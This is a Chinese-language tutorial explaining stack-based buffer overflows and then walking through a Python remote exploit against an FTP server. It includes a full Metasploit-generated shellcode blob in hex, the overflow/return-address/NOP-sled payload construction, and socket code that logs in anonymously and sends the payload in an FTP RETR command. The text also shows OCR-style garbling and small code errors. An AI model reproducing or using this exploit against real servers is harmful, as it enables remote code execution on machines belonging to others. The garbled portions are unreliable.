目錄
一、概述
二、基於棧的緩沖區溢出攻擊
2.1、簡介:
2.2、基本術語:
三、添加攻擊的關鍵元素
3.1、實現:
四、發送漏洞利用代碼
4.1、分析:
4.2、實現:
雖然在Metasploit框架的工具庫中包含有超過800個各不相同的漏洞利用代碼, 但你還是會碰到必須自己編寫遠程漏洞利用代碼的那一刻。用Python簡化這個過程,先搞明白基於棧的緩沖區溢
Morris蠕蟲成功的原因在某種程度上其實就是利用了棧的緩沖區溢出。此類漏洞之所以能被成功利用, 是由千程序沒能過濾或驗證用戶的輸入。
2.1、簡介:
在基於棧的緩沖區溢出中, 未經檢查的用戶數據會覆蓋下一個會被執行的指令指針(EIP)的方式控制程序的執行流。這種漏洞利用代碼會直接讓EIP寄存器指向攻擊者插入的sbellcode上的某個位置。一系列的機器碼指令(也稱sbellcode)會讓漏洞利用代碼在目標系統中添加額外的用戶, 與攻擊者建立一個網絡連接, 或是下載一個獨立的可執行文件。
Shellcode的大小幾乎是沒有限制的, 其大小僅僅取決於內存可用空間的大小。如今各種不同的利用不同類型凋洞的方法已經有很多, 而基於棧的緩沖區溢出是其中最
基本的。
2.2、基本術語:
溢出: 用戶的輸入長度超出棧中對它最大長度的預期, 即分配的內存大小
返回地址:用於直接跳轉到棧頂部的4B的地址。下面漏洞利用中, 將使用一個在kernel32.dl中某條JMP ESP指令的地址(指針的長度為4B)。
Padding:在shellcode之前的一系列NOP(無操作)指令, 它使攻擊者預估直接跳轉到那裡去
的地址時, 能放寬的精度要求。只要它跳轉到NOP鏈的任意地方, 可直接滑到shellcode那裡。
shellcode: 一小段用匯編語言編寫的機器碼。在下面的例子中, 我們用Metasploit框架生成
shellcode。
3.1、實現:
開始編寫漏洞利用代碼中的關鍵元素。
首先, 我們在shellcode變量中寫入用Metasploit框架生成的載荷的十六進制碼。
然後, 在overflow變蜇中寫入246個字母“ A"(十六進制值是\x41)。
接若讓ret變量指向kernel32.dll中的一個含有把控制流直接跳轉到棧頂部的指令的地址。我們的padding變量中是150個NOP指令。這就構成了NOP鏈。
最後,把所有這些變量組合在一起形成我們稱之為crash的變量。
shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9" "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f" "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8" "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7" "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5" "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c" "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0" "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49" "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96" "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82" "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf" "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41" "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f" "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a" "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b" "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a" "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3" "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea" "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8" "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6" "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea" "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30" "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53" "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85" "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25" "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10" "\xba\x1e\x53\x31") overflow = "\x41" * 246 ret = struct.pack ('<L', Ox7C874413) #7C874413 JMP ESP kernel32.dll padding = "\x90" * 150 crash = overflow + ret + padding + shellcode
4.1、分析:
使用Berkeley Socket APL 可以與目標主機上的TCP 21 端口創建一個連接。如果成功連接,匿名登錄主機。最後會發送FTP命令'RETR", 後面接上crash 變量。因為受影響的程序無法正確檢查用戶輸入, 就引發了基於棧的緩沖區溢出, 它會覆蓋EIP寄存器, 使程序直接跳轉到shellcode 那裡, 並執行它
4.2、實現:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((target, 21)) except: print('[-]Connection to ' + target + 'failed!') sys.exit(0) print('[*] Sending ' + 'len(crash)' + ' '+ command + ' byte crash... ') s.send("USER anonymous\r\n") s.recv(1024) s.send('PASS \r\n') s.recv(1024) s.send('RETR' + ' ' + crash + '\r\n') time.sleep(4)